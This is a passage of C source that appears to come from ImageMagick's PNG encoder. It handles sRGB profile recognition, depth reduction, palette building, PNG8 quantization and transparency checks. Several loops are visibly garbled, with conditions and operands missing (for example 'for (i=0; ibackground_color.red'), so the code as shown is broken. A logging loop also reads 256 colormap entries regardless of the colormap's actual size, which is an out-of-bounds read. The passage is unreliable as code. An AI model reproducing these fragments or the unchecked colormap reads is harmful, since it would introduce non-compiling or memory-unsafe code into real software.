iCCP in zTXt */\n ping_exclude_zTXt=mng_info->ping_exclude_zTXt;\n\n ping_preserve_colormap = mng_info->ping_preserve_colormap;\n ping_preserve_iCCP = mng_info->ping_preserve_iCCP;\n ping_need_colortype_warning = MagickFalse;\n\n /* Recognize the ICC sRGB profile and convert it to the sRGB chunk,\n * i.e., eliminate the ICC profile and set image->rendering_intent.\n * Note that this will not involve any changes to the actual pixels\n * but merely passes information to applications that read the resulting\n * PNG image.\n *\n * To do: recognize other variants of the sRGB profile, using the CRC to\n * verify all recognized variants including the 7 already known.\n *\n * Work around libpng16+ rejecting some \"known invalid sRGB profiles\".\n *\n * Use something other than image->rendering_intent to record the fact\n * that the sRGB profile was found.\n *\n * Record the ICC version (currently v2 or v4) of the incoming sRGB ICC\n * profile. Record the Blackpoint Compensation, if any.\n */\n if (ping_exclude_sRGB == MagickFalse && ping_preserve_iCCP == MagickFalse)\n {\n ResetImageProfileIterator(image);\n for (name=GetNextImageProfile(image); name != (char *) NULL; )\n {\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n if ((LocaleCompare(name,\"ICC\") == 0) ||\n (LocaleCompare(name,\"ICM\") == 0))\n\n {\n int\n icheck,\n got_crc=0;\n\n\n png_uint_32\n length,\n profile_crc=0;\n\n unsigned char\n *data;\n\n length=(png_uint_32) GetStringInfoLength(profile);\n\n for (icheck=0; sRGB_info[icheck].len > 0; icheck++)\n {\n if (length == sRGB_info[icheck].len)\n {\n if (got_crc == 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Got a %lu-byte ICC profile (potentially sRGB)\",\n (unsigned long) length);\n\n data=GetStringInfoDatum(profile);\n profile_crc=crc32(0,data,length);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" with crc=%8x\",(unsigned int) profile_crc);\n got_crc++;\n }\n\n if (profile_crc == sRGB_info[icheck].crc)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" It is sRGB with rendering intent = %s\",\n Magick_RenderingIntentString_from_PNG_RenderingIntent(\n sRGB_info[icheck].intent));\n if (image->rendering_intent==UndefinedIntent)\n {\n image->rendering_intent=\n Magick_RenderingIntent_from_PNG_RenderingIntent(\n sRGB_info[icheck].intent);\n }\n ping_exclude_iCCP = MagickTrue;\n ping_exclude_zCCP = MagickTrue;\n ping_have_sRGB = MagickTrue;\n break;\n }\n }\n }\n if (sRGB_info[icheck].len == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Got %lu-byte ICC profile not recognized as sRGB\",\n (unsigned long) length);\n }\n }\n name=GetNextImageProfile(image);\n }\n }\n\n number_opaque = 0;\n number_semitransparent = 0;\n number_transparent = 0;\n\n if (logging != MagickFalse)\n {\n if (image->storage_class == UndefinedClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=UndefinedClass\");\n if (image->storage_class == DirectClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=DirectClass\");\n if (image->storage_class == PseudoClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=PseudoClass\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(), image->taint ?\n \" image->taint=MagickTrue\":\n \" image->taint=MagickFalse\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->gamma=%g\", image->gamma);\n }\n\n if (image->storage_class == PseudoClass &&\n (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32 ||\n mng_info->write_png48 || mng_info->write_png64 ||\n (mng_info->write_png_colortype != 1 &&\n mng_info->write_png_colortype != 5)))\n {\n (void) SyncImage(image,exception);\n image->storage_class = DirectClass;\n }\n\n if (ping_preserve_colormap == MagickFalse)\n {\n if ((image->storage_class != PseudoClass) &&\n (image->colormap != (PixelInfo *) NULL))\n {\n /* Free the bogus colormap; it can cause trouble later */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Freeing bogus colormap\");\n image->colormap=(PixelInfo *) RelinquishMagickMemory(\n image->colormap);\n }\n }\n\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n\n /*\n Sometimes we get PseudoClass images whose RGB values don't match\n the colors in the colormap. This code syncs the RGB values.\n */\n image->depth=GetImageQuantumDepth(image,MagickFalse);\n if (image->depth <= 8 && image->taint && image->storage_class == PseudoClass)\n (void) SyncImage(image,exception);\n\n#if (MAGICKCORE_QUANTUM_DEPTH == 8)\n if (image->depth > 8)\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reducing PNG bit depth to 8 since this is a Q8 build.\");\n\n image->depth=8;\n }\n#endif\n\n /* Respect the -depth option */\n if (image->depth < 4)\n {\n register Quantum\n *r;\n\n if (image->depth > 2)\n {\n /* Scale to 4-bit */\n LBR04PacketRGBA(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR04PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR04PacketRGBA(image->colormap[i]);\n }\n }\n }\n else if (image->depth > 1)\n {\n /* Scale to 2-bit */\n LBR02PacketRGBA(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR02PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR02PacketRGBA(image->colormap[i]);\n }\n }\n }\n else\n {\n /* Scale to 1-bit */\n LBR01PacketRGBA(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR01PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR01PacketRGBA(image->colormap[i]);\n }\n }\n }\n }\n\n /* To do: set to next higher multiple of 8 */\n if (image->depth < 8)\n image->depth=8;\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 16)\n /* PNG does not handle depths greater than 16 so reduce it even\n * if lossy\n */\n if (image->depth > 8)\n image->depth=16;\n#endif\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 8)\n if (image->depth > 8)\n {\n /* To do: fill low byte properly */\n image->depth=16;\n }\n\n if (image->depth == 16 && mng_info->write_png_depth != 16)\n if (mng_info->write_png8 ||\n LosslessReduceDepthOK(image,exception) != MagickFalse)\n image->depth = 8;\n#endif\n\n image_colors = (int) image->colors;\n number_opaque = (int) image->colors;\n number_transparent = 0;\n number_semitransparent = 0;\n\n if (mng_info->write_png_colortype &&\n (mng_info->write_png_colortype > 4 || (mng_info->write_png_depth >= 8 &&\n mng_info->write_png_colortype < 4 &&\n image->alpha_trait == UndefinedPixelTrait)))\n {\n /* Avoid the expensive BUILD_PALETTE operation if we're sure that we\n * are not going to need the result.\n */\n if (mng_info->write_png_colortype == 1 ||\n mng_info->write_png_colortype == 5)\n ping_have_color=MagickFalse;\n\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n number_transparent = 2;\n number_semitransparent = 1;\n }\n }\n\n if (mng_info->write_png_colortype < 7)\n {\n /* BUILD_PALETTE\n *\n * Normally we run this just once, but in the case of writing PNG8\n * we reduce the transparency to binary and run again, then if there\n * are still too many colors we reduce to a simple 4-4-4-1, then 3-3-3-1\n * RGBA palette and run again, and then to a simple 3-3-2-1 RGBA\n * palette. Then (To do) we take care of a final reduction that is only\n * needed if there are still 256 colors present and one of them has both\n * transparent and opaque instances.\n */\n\n tried_332 = MagickFalse;\n tried_333 = MagickFalse;\n tried_444 = MagickFalse;\n\n if (image->depth != GetImageDepth(image,exception))\n (void) SetImageDepth(image,image->depth,exception);\n for (j=0; j<6; j++)\n {\n /*\n * Sometimes we get DirectClass images that have 256 colors or fewer.\n * This code will build a colormap.\n *\n * Also, sometimes we get PseudoClass images with an out-of-date\n * colormap. This code will replace the colormap with a new one.\n * Sometimes we get PseudoClass images that have more than 256 colors.\n * This code will delete the colormap and change the image to\n * DirectClass.\n *\n * If image->alpha_trait is MagickFalse, we ignore the alpha channel\n * even though it sometimes contains left-over non-opaque values.\n *\n * Also we gather some information (number of opaque, transparent,\n * and semitransparent pixels, and whether the image has any non-gray\n * pixels or only black-and-white pixels) that we might need later.\n *\n * Even if the user wants to force GrayAlpha or RGBA (colortype 4 or 6)\n * we need to check for bogus non-opaque values, at least.\n */\n\n int\n n;\n\n PixelInfo\n opaque[260],\n semitransparent[260],\n transparent[260];\n\n register const Quantum\n *r;\n\n register Quantum\n *q;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Enter BUILD_PALETTE:\");\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->columns=%.20g\",(double) image->columns);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->rows=%.20g\",(double) image->rows);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->alpha_trait=%.20g\",(double) image->alpha_trait);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->depth=%.20g\",(double) image->depth);\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Original colormap:\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" i (red,green,blue,alpha)\");\n\n for (i=0; i < 256; i++)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n (int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n\n for (i=image->colors - 10; i < (ssize_t) image->colors; i++)\n {\n if (i > 255)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n (int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n }\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d\",(int) image->colors);\n\n if (image->colors == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" (zero means unknown)\");\n\n if (ping_preserve_colormap == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Regenerate the colormap\");\n }\n\n image_colors=0;\n number_opaque = 0;\n number_semitransparent = 0;\n number_transparent = 0;\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetVirtualPixels(image,0,y,image->columns,1,exception);\n\n if (r == (const Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (image->alpha_trait == UndefinedPixelTrait ||\n GetPixelAlpha(image,r) == OpaqueAlpha)\n {\n if (number_opaque < 259)\n {\n if (number_opaque == 0)\n {\n GetPixelInfoPixel(image,r,opaque);\n opaque[0].alpha=OpaqueAlpha;\n number_opaque=1;\n }\n\n for (i=0; i< (ssize_t) number_opaque; i++)\n {\n if (IsColorEqual(image,r,opaque+i))\n break;\n }\n\n if (i == (ssize_t) number_opaque && number_opaque < 259)\n {\n number_opaque++;\n GetPixelInfoPixel(image,r,opaque+i);\n opaque[i].alpha=OpaqueAlpha;\n }\n }\n }\n else if (GetPixelAlpha(image,r) == TransparentAlpha)\n {\n if (number_transparent < 259)\n {\n if (number_transparent == 0)\n {\n GetPixelInfoPixel(image,r,transparent);\n ping_trans_color.red=(unsigned short)\n GetPixelRed(image,r);\n ping_trans_color.green=(unsigned short)\n GetPixelGreen(image,r);\n ping_trans_color.blue=(unsigned short)\n GetPixelBlue(image,r);\n ping_trans_color.gray=(unsigned short)\n GetPixelGray(image,r);\n number_transparent = 1;\n }\n\n for (i=0; i< (ssize_t) number_transparent; i++)\n {\n if (IsColorEqual(image,r,transparent+i))\n break;\n }\n\n if (i == (ssize_t) number_transparent &&\n number_transparent < 259)\n {\n number_transparent++;\n GetPixelInfoPixel(image,r,transparent+i);\n }\n }\n }\n else\n {\n if (number_semitransparent < 259)\n {\n if (number_semitransparent == 0)\n {\n GetPixelInfoPixel(image,r,semitransparent);\n number_semitransparent = 1;\n }\n\n for (i=0; i< (ssize_t) number_semitransparent; i++)\n {\n if (IsColorEqual(image,r,semitransparent+i)\n && GetPixelAlpha(image,r) ==\n semitransparent[i].alpha)\n break;\n }\n\n if (i == (ssize_t) number_semitransparent &&\n number_semitransparent < 259)\n {\n number_semitransparent++;\n GetPixelInfoPixel(image,r,semitransparent+i);\n }\n }\n }\n r+=GetPixelChannels(image);\n }\n }\n\n if (mng_info->write_png8 == MagickFalse &&\n ping_exclude_bKGD == MagickFalse)\n {\n /* Add the background color to the palette, if it\n * isn't already there.\n */\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Check colormap for background (%d,%d,%d)\",\n (int) image->background_color.red,\n (int) image->background_color.green,\n (int) image->background_color.blue);\n }\n if (number_opaque < 259)\n {\n for (i=0; ibackground_color.red &&\n opaque[i].green == image->background_color.green &&\n opaque[i].blue == image->background_color.blue)\n break;\n }\n if (i == number_opaque)\n {\n opaque[i] = image->background_color;\n ping_background.index = i;\n number_opaque++;\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",(int) i);\n }\n\n }\n }\n else if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" No room in the colormap to add background color\");\n }\n\n image_colors=number_opaque+number_transparent+number_semitransparent;\n\n if (logging != MagickFalse)\n {\n if (image_colors > 256)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has more than 256 colors\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has %d colors\",image_colors);\n }\n\n if (ping_preserve_colormap != MagickFalse)\n break;\n\n if (mng_info->write_png_colortype != 7) /* We won't need this info */\n {\n ping_have_color=MagickFalse;\n ping_have_non_bw=MagickFalse;\n\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"incompatible colorspace\");\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n }\n\n if(image_colors > 256)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n r=q;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelRed(image,r) != GetPixelGreen(image,r) ||\n GetPixelRed(image,r) != GetPixelBlue(image,r))\n {\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n break;\n }\n r+=GetPixelChannels(image);\n }\n\n if (ping_have_color != MagickFalse)\n break;\n\n /* Worst case is black-and-white; we are looking at every\n * pixel twice.\n */\n\n if (ping_have_non_bw == MagickFalse)\n {\n r=q;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelRed(image,r) != 0 &&\n GetPixelRed(image,r) != QuantumRange)\n {\n ping_have_non_bw=MagickTrue;\n break;\n }\n r+=GetPixelChannels(image);\n }\n }\n }\n }\n }\n\n if (image_colors < 257)\n {\n PixelInfo\n colormap[260];\n\n /*\n * Initialize image colormap.\n */\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Sort the new colormap\");\n\n /* Sort palette, transparent first */;\n\n n = 0;\n\n for (i=0; iping_exclude_tRNS == MagickFalse ||\n (number_transparent == 0 && number_semitransparent == 0)) &&\n (((mng_info->write_png_colortype-1) ==\n PNG_COLOR_TYPE_PALETTE) ||\n (mng_info->write_png_colortype == 0)))\n {\n if (logging != MagickFalse)\n {\n if (n != (ssize_t) image_colors)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_colors (%d) and n (%d) don't match\",\n image_colors, n);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" AcquireImageColormap\");\n }\n\n image->colors = image_colors;\n\n if (AcquireImageColormap(image,image_colors,exception) == MagickFalse)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",\n image->filename);\n break;\n }\n\n for (i=0; i< (ssize_t) image_colors; i++)\n image->colormap[i] = colormap[i];\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d (%d)\",\n (int) image->colors, image_colors);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Update the pixel indexes\");\n }\n\n /* Sync the pixel indices with the new colormap */\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n for (i=0; i< (ssize_t) image_colors; i++)\n {\n if ((image->alpha_trait == UndefinedPixelTrait ||\n image->colormap[i].alpha == GetPixelAlpha(image,q)) &&\n image->colormap[i].red == GetPixelRed(image,q) &&\n image->colormap[i].green == GetPixelGreen(image,q) &&\n image->colormap[i].blue == GetPixelBlue(image,q))\n {\n SetPixelIndex(image,i,q);\n break;\n }\n }\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d\", (int) image->colors);\n\n if (image->colormap != NULL)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" i (red,green,blue,alpha)\");\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n if (i < 300 || i >= (ssize_t) image->colors - 10)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n (int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n }\n }\n\n if (number_transparent < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_transparent = %d\",\n number_transparent);\n else\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_transparent > 256\");\n\n if (number_opaque < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_opaque = %d\",\n number_opaque);\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_opaque > 256\");\n\n if (number_semitransparent < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_semitransparent = %d\",\n number_semitransparent);\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_semitransparent > 256\");\n\n if (ping_have_non_bw == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" All pixels and the background are black or white\");\n\n else if (ping_have_color == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" All pixels and the background are gray\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" At least one pixel or the background is non-gray\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Exit BUILD_PALETTE:\");\n }\n\n if (mng_info->write_png8 == MagickFalse)\n break;\n\n /* Make any reductions necessary for the PNG8 format */\n if (image_colors <= 256 &&\n image_colors != 0 && image->colormap != NULL &&\n number_semitransparent == 0 &&\n number_transparent <= 1)\n break;\n\n /* PNG8 can't have semitransparent colors so we threshold the\n * opacity to 0 or OpaqueOpacity, and PNG8 can only have one\n * transparent color so if more than one is transparent we merge\n * them into image->background_color.\n */\n if (number_semitransparent != 0 || number_transparent > 1)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Thresholding the alpha channel to binary\");\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) < OpaqueAlpha/2)\n {\n SetPixelViaPixelInfo(image,&image->background_color,q);\n SetPixelAlpha(image,TransparentAlpha,q);\n }\n else\n SetPixelAlpha(image,OpaqueAlpha,q);\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n\n if (image_colors != 0 && image_colors <= 256 &&\n image->colormap != NULL)\n for (i=0; icolormap[i].alpha =\n (image->colormap[i].alpha > TransparentAlpha/2 ?\n TransparentAlpha : OpaqueAlpha);\n }\n continue;\n }\n\n /* PNG8 can't have more than 256 colors so we quantize the pixels and\n * background color to the 4-4-4-1, 3-3-3-1 or 3-3-2-1 palette. If the\n * image is mostly gray, the 4-4-4-1 palette is likely to end up with 256\n * colors or less.\n */\n if (tried_444 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 4-4-4\");\n\n tried_444 = MagickTrue;\n\n LBR04PacketRGB(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 4-4-4\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) == OpaqueAlpha)\n LBR04PixelRGB(q);\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 4-4-4\");\n\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (tried_333 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 3-3-3\");\n\n tried_333 = MagickTrue;\n\n LBR03PacketRGB(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 3-3-3-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) == OpaqueAlpha)\n LBR03RGB(q);\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 3-3-3-1\");\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (tried_332 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 3-3-2\");\n\n tried_332 = MagickTrue;\n\n /* Red and green were already done so we only quantize the blue\n * channel\n */\n\n LBR02PacketBlue(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 3-3-2-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) == OpaqueAlpha)\n LBR02PixelBlue(q);\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 3-3-2-1\");\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (image_colors == 0 || image_colors > 256)\n {\n /* Take care of special case with 256 opaque colors + 1 transparent\n * color. We don't need to quantize to 2-3-2-1; we only need to\n * eliminate one color, so we'll merge the two darkest red\n * colors (0x49, 0, 0) -> (0x24, 0, 0).\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Merging two dark red background colors to 3-3-2-1\");\n\n if (ScaleQuantumToChar(image->background_color.red) == 0x49 &&\n ScaleQuantumToChar(image->background_color.green) == 0x00 &&\n ScaleQuantumToChar(image->background_color.blue) == 0x00)\n {\n image->background_color.red=ScaleCharToQuantum(0x24);\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Merging two dark red pixel colors to 3-3-2-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (ScaleQuantumToChar(GetPixelRed(image,q)) == 0x49 &&\n ScaleQuantumToChar(GetPixelGreen(image,q)) == 0x00 &&\n ScaleQuantumToChar(GetPixelBlue(image,q)) == 0x00 &&\n GetPixelAlpha(image,q) == OpaqueAlpha)\n {\n SetPixelRed(image,ScaleCharToQuantum(0x24),q);\n }\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n\n }\n }\n\n else\n {\n for (i=0; icolormap[i].red) == 0x49 &&\n ScaleQuantumToChar(image->colormap[i].green) == 0x00 &&\n ScaleQuantumToChar(image->colormap[i].blue) == 0x00)\n {\n image->colormap[i].red=ScaleCharToQuantum(0x24);\n }\n }\n }\n }\n }\n }\n /* END OF BUILD_PALETTE */\n\n /* If we are excluding the tRNS chunk and there is transparency,\n * then we must write a Gray-Alpha (color-type 4) or RGBA (color-type 6)\n * PNG.\n */\n if (mng_info->ping_exclude_tRNS != MagickFalse &&\n (number_transparent != 0 || number_semitransparent != 0))\n {\n unsigned int colortype=mng_info->write_png_colortype;\n\n if (ping_have_color == MagickFalse)\n mng_info->write_png_colortype = 5;\n\n else\n mng_info->write_png_colortype = 7;\n\n if (colortype != 0 &&\n mng_info->write_png_colortype != colortype)\n ping_need_colortype_warning=MagickTrue;\n\n }\n\n /* See if cheap transparency is possible. It is only possible\n * when there is a single transparent color, no semitransparent\n * color, and no opaque color that has the same RGB components\n * as the transparent color. We only need this information if\n * we are writing a PNG with colortype 0 or 2, and we have not\n * excluded the tRNS chunk.\n */\n if (number_transparent == 1 &&\n mng_info->write_png_colortype < 4)\n {\n ping_have_cheap_transparency = MagickTrue;\n\n if (number_semitransparent != 0)\n ping_have_cheap_transparency = MagickFalse;\n\n else if (image_colors == 0 || image_colors > 256 ||\n image->colormap == NULL)\n {\n register const Quantum\n *q;\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) != TransparentAlpha &&\n (unsigned short) GetPixelRed(image,q) ==\n ping_trans_color.red &&\n (unsigned short) GetPixelGreen(image,q) ==\n ping_trans_color.green &&\n (unsigned short) GetPixelBlue(image,q) ==\n ping_trans_color.blue)\n {\n ping_have_cheap_transparency = MagickFalse;\n break;\n }\n\n q+=GetPixelChannels(image);\n }\n\n if (ping_have_cheap_transparency == MagickFalse)\n break;\n }\n }\n else\n {\n /* Assuming that image->colormap[0] is the one transparent color\n * and that all others are opaque.\n */\n if (image_colors > 1)\n for (i=1; icolormap[i].red == image->colormap[0].red &&\n image->colormap[i].green == image->colormap[0].green &&\n image->colormap[i].blue == image->colormap[0].blue)\n {\n ping_have_cheap_transparency = MagickFalse;\n break;\n }\n }\n\n if (logging != MagickFalse)\n {\n if (ping_have_cheap_transparency == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Cheap transparency is not possible.\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Cheap transparency is possible.\");\n }\n }\n else\n ping_have_cheap_transparency = MagickFalse;\n\n image_depth=image->depth;\n\n quantum_info = (QuantumInfo *) NULL;\n 